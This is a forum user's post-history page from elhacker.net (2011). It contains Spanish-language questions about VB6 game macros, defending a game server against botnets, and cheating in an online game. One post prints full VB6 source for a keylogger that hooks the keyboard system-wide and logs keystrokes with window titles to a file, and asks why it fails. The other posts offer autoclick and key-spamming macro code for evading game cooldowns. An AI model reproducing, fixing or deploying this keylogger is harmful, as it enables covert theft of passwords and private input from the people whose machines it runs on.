elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Seguridad / AntiTurbinas y BotNets en: 16 Agosto 2011, 02:00 am
Bueno, tengo un juego, "CLIENTE/SERVIDOR", que me lo tiran con turbinas tipo By Volks o Botnets.


¿Me podrían pasar códigos para defenderlo?

Aclaro qe es Host Pago, no puedo meter programas apartes, ya que solo puedo tener 1 exe y las cosas de mi juego en el host, por eso, estoy buscando códigos de seguridad, para frenar las turbinas y especialmente los botnets.


Está programado en Visual Basic 6.0
2  Programación / Programación Visual Basic / Clickear sin mover mouse en: 27 Julio 2011, 07:44 am
Bueno, hay un tal macrocrack que hace click en una coordenada todo el tiempo sin mover el mouse...

Quiero lograrlo, pero no me sale.

Lo único que logro es mover el mouse a esa coordenada automaticamente.

Pienso que la única formar de clickear en una coordenada es con el MOUSE, pero el "MACROCRACK" tiene un autoclickear en una ubicación sin mover el mouse a esa coordenada.
3  Programación / Programación Visual Basic / Libero Macro y mejoremoslo en: 13 Julio 2011, 00:14 am
Bueno, vi que acá son toda gente buena y hacker...

Entonces, les libero mi macro, y quiero mejorarlo...

Código
  1. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  2. Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
  3. Private Const MOUSELEFTDOWN = &H2 '  left button down /This is actually MOUSEEVENTF_LEFTDOWN
  4. Private Const MOUSELEFTUP = &H4 '  left button up /This is actually MOUSEEVENTF_LEFTUP
  5. Private Const KEY_TOGGLED As Integer = &H1
  6. Private Const KEY_PRESSED As Integer = &H1000
  7. Private Const MOUSEEVENTF_MOVE = &H1
  8. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  9.  
  10.  
  11. Option Explicit
  12.  
  13. '   * Colocar un control Timer
  14. '-------------------------------------------------
  15.  
  16. 'Estructura de coordenadas para el api GetCursorPos
  17. Private Type POINTAPI
  18.    x As Long
  19.    y As Long
  20. End Type
  21.  
  22.  
  23. Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
  24.  
  25. Dim Mouse As POINTAPI
  26.  
  27. Private Sub Form_Load()
  28. 6
  29.    Me.FontSize = 10
  30.    Text1.Text = "100" 'Para configurar los intervalos de clicks
  31. Timer1.Enabled = False
  32. Timer2.Enabled = True
  33. End Sub
  34.  
  35. Private Sub Timer1_Timer()
  36.  
  37.    'Ejecutamos la función y recuperamos la posicion del cursor
  38.    Call GetCursorPos(Mouse)
  39.  
  40.    ' limpia el form
  41.    Me.Cls
  42.  
  43.    Me.Print "Posicion del cursor :"
  44.    'Imprimimos las cordenadas X e Y devueltas por el api
  45.    Me.Print "X:" + Str$(Mouse.x) + vbCrLf + "Y:" + Str$(Mouse.y)
  46. If Mouse.x < 1000 Then
  47. Dim y As String
  48. Dim x As String
  49. y = Text2.Text
  50. x = Text3.Text
  51.  
  52.  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  53.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  54.     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  55.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  56.  
  57. End If
  58. End Sub
  59.  
  60.  
  61. Private Sub Timer2_Timer()
  62. If GetKeyState(vbKeyF10) And KEY_PRESSED Then
  63.  
  64.    Timer1.Interval = Val(Text1.Text) 'Lee el valor del textbox en MS
  65.    Timer1.Enabled = True
  66. ElseIf GetKeyState(vbKeyF11) And KEY_PRESSED Then
  67.  
  68.    Timer1.Enabled = False
  69.    ElseIf GetKeyState(vbKeyF9) And KEY_PRESSED Then
  70.    Timer4.Enabled = True
  71.    ElseIf GetKeyState(vbKeyF8) And KEY_PRESSED Then
  72.  
  73.    Timer1.Enabled = False
  74.    ElseIf GetKeyState(vbKeyF7) And KEY_PRESSED Then
  75.    Timer5.Enabled = True
  76.    ElseIf GetKeyState(vbKeyF6) And KEY_PRESSED Then
  77.  
  78.    Timer1.Enabled = False
  79.    ElseIf GetKeyState(vbKeyF9) And KEY_PRESSED Then
  80.    Timer6.Enabled = True
  81. End If
  82. End Sub
  83.  
  84. Private Sub Timer3_Timer()
  85.  
  86.  
  87. End Sub
  88.  
  89. Private Sub Timer4_Timer()
  90.    'Ejecutamos la función y recuperamos la posicion del cursor
  91.    Call GetCursorPos(Mouse)
  92.  
  93.    ' limpia el form
  94.    Me.Cls
  95.  
  96.    Me.Print "Posicion del cursor :"
  97.    'Imprimimos las cordenadas X e Y devueltas por el api
  98.    Me.Print "X:" + Str$(Mouse.x) + vbCrLf + "Y:" + Str$(Mouse.y)
  99. If Mouse.x < 1000 Then
  100. Dim y As String
  101. Dim x As String
  102. y = Text2.Text
  103. x = Text3.Text
  104.  
  105.  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  106.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  107.     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  108.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  109.  
  110.  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  111.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  112.     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  113.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  114.  
  115.  
  116.  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  117.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  118.     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  119.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  120.  
  121.  
  122.  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  123.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  124.     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  125.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  126.  
  127.  
  128.  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  129.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  130.     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  131.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  132.  
  133.  
  134.  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  135.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  136.     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
  137.    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
  138.  
  139. End Sub
  140.  
  141. Private Sub Timer5_Timer()
  142.    'Ejecutamos la función y recuperamos la posicion del cursor
  143.    Call GetCursorPos(Mouse)
  144.  
  145.    ' limpia el form
  146.    Me.Cls
  147.  
  148.    Me.Print "Posicion del cursor :"
  149.    'Imprimimos las cordenadas X e Y devueltas por el api
  150.    Me.Print "X:" + Str$(Mouse.x) + vbCrLf + "Y:" + Str$(Mouse.y)
  151.  
  152.  
  153.  If GetAsyncKeyState(2) = -32767 Then 'comprueba si hacen click derecho
  154.        SendKeys "{u}"
  155.         SendKeys "{u}"
  156.          SendKeys "{u}" 'si lo hacen manda la letra u
  157.    End If
  158.  
  159. End Sub
  160.  


Ideas:
Bueno, lo que tenía pensado era que al potear no haya intervalo...

También que te haga un autoclick en una coordenada (La que pongas en un textbox) pero que no valla el mouse hacia la coordenada, si no que sea auto click sin mover el mouse, porque mi auto click es feo, lleva el mouse hacia la coordenada, entonces lo saque.



Las 2 ideas no me salieron perfectas como quería...

Asique, pido si me pueden orientar, o si no darme lo codes que preferiría mejor interpretarlos así aprendo.


Saludos!
4  Programación / Programación Visual Basic / Keylogger y 0 intervalo en: 12 Julio 2011, 22:12 pm
Mi keylogger (Lo saque en un aporte, le modifique donde se guarda, porque no entendi una ***** como se guardaba en el aporte ni como lo leia)
Código
  1. Option Explicit
  2.  
  3. '|||||||||||||||||||||||
  4. '|                     |
  5. '|Autor: Karcrack      |
  6. '|Fecha: 24/09/08      |
  7. '|                     |
  8. '|||||||||||||||||||||||
  9.  
  10.  
  11. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  12.    Select Case Enable
  13.        Case True
  14.            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
  15.        Case False
  16.            Call UnhookWindowsHookEx(KBHook)
  17.    End Select
  18. End Sub
  19.  
  20. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  21.    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
  22.  
  23.    If nCode = 0 Then
  24.        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  25.        With KeyBoardHook
  26.            If .Flags = 0 Or .Flags = 1 Then
  27.                If SaveLog(TranslateKey(.VkCode)) > 50 Then
  28.                    Call LogToFile(App.Path & "\Log.log")
  29.                End If
  30.            End If
  31.        End With
  32.    Else
  33.        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  34.    End If
  35. End Function
  36.  
  37. Private Function TranslateKey(ByVal KeyCode As Long) As String
  38.    Dim LngShift            As Long
  39.  
  40.    'Funcion optimizada para su uso en teclados españoles.
  41.  
  42.    LngShift = GetAsyncKeyState(vbKeyShift)
  43.    If KeyCode >= 58 And KeyCode <= 90 Then
  44.        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  45.    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
  46.        TranslateKey = Chr(KeyCode - 48)
  47.    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
  48.        TranslateKey = "{F" & KeyCode - 111 & "}"
  49.    Else
  50.        If KeyCode = 160 Then TranslateKey = ""
  51.        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  52.        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  53.        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  54.        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  55.        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  56.        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  57.        If KeyCode = 27 Then TranslateKey = "{ESC}"
  58.        If KeyCode = 46 Then TranslateKey = "{DEL}"
  59.        If KeyCode = 36 Then TranslateKey = "{HOME}"
  60.        If KeyCode = 35 Then TranslateKey = "{END}"
  61.        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  62.        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  63.        If KeyCode = 45 Then TranslateKey = "{PASTE}"
  64.        If KeyCode = 144 Then TranslateKey = "{NUM}"
  65.        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  66.        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  67.        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  68.        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  69.        If KeyCode = 13 Then TranslateKey = "{ENTER}"
  70.        If KeyCode = 8 Then TranslateKey = "{BACK}"
  71.        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  72.        If KeyCode = 9 Then TranslateKey = "{TAB}"
  73.        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  74.        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  75.        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  76.        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  77.        If KeyCode = 164 Then TranslateKey = "{ALT}"
  78.        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  79.        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  80.        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
  81.        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
  82.        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
  83.        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
  84.        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
  85.        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
  86.        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
  87.        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
  88.        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
  89.        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
  90.        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
  91.        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
  92.        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
  93.        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
  94.        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
  95.        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
  96.        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
  97.        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
  98.        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
  99.        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
  100.        If KeyCode = 145 Then TranslateKey = "{ROLL}"
  101.        If KeyCode = 44 Then TranslateKey = "{PRINT}"
  102.        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  103.        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
  104.    End If
  105. End Function
  106.  
  107. Public Function SaveLog(ByVal sKey As String) As Double
  108.    Dim aHwnd               As Long
  109.    Dim WinText             As String
  110.    aHwnd = GetForegroundWindow
  111.  
  112.    If aHwnd <> lHwnd Then
  113.        lHwnd = aHwnd
  114.        WinText = String$(255, Chr$(0))
  115.        Call GetWindowText(aHwnd, WinText, Len(WinText))
  116.        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  117.  
  118.        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
  119.    End If
  120.  
  121.    KeyData = KeyData & sKey
  122.  
  123.    SaveLog = Len(KeyData)
  124. End Function
  125.  
  126. Public Sub LogToFile(ByVal sPath As String)
  127.    Open "C:\ARCHIVOS DE PROGRAMA\ASD.TXT" For Binary As #1
  128.        Put #1, , KeyData
  129.    Close #1
  130. End Sub



En un modulo:

Código
  1.  
  2. Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  3. Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
  4. Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
  5. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  6. Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
  7. Private Const WH_KEYBOARD_LL   As Long = 13
  8.  
  9. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  10. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  11.  
  12. Public Type KBDLLHOOKSTRUCT
  13.    VkCode                  As Long
  14.    ScanCode                As Long
  15.    Flags                   As Long
  16.    Time                    As Long
  17.    DwExtraInfo             As Long
  18. End Type
  19.  
  20. Dim KBHook                  As Long
  21. Dim KeyData                 As String
  22. Dim lHwnd                   As Long
  23.  
  24.  

Ejecuto el programa y no pasa nada :S

Osea, no se me guarda en el txt de asd...


Me pueden  explicar mejor como funciona?





Ahora el 0 intervalo...


Bueno...
Estuve tratando de hacer algún programa para que no haya intervalo nada, por ejemplo...

Mi juego, tiene el intervalo de lanzar un hechizo como de 1 segundo, entonces quiero que al clickear "Lanzar" y apretes en el usuario, no haya intervalo...
Sería, el intervalo de click que no afecte, ¿Como podría hacer?

El otro es el de la tecla U...
Con la U poteo...

Como puedo hacer para que no haya intervalo entre U Y U?

PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.

Mucha suerte!

Espero que me den los codes :$
5  Programación / Programación Visual Basic / Apretar la U sin intervalo en: 12 Julio 2011, 21:51 pm
Bueno...
estuve tratando de hacer algún programa para que no haya intervalo nada, por ejemplo...

Mi juego, tiene el intervalo de lanzar un hechizo como de 1 segundo, entonces quiero que al clickear "Lanzar" y apretes en el usuario, no haya intervalo...
Sería, el intervalo de click que no afecte, ¿Como podría hacer?

El otro es el de la tecla U...
Con la U poteo...

Como puedo hacer para que no haya intervalo entre U Y U?


Mucha suerte!

Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines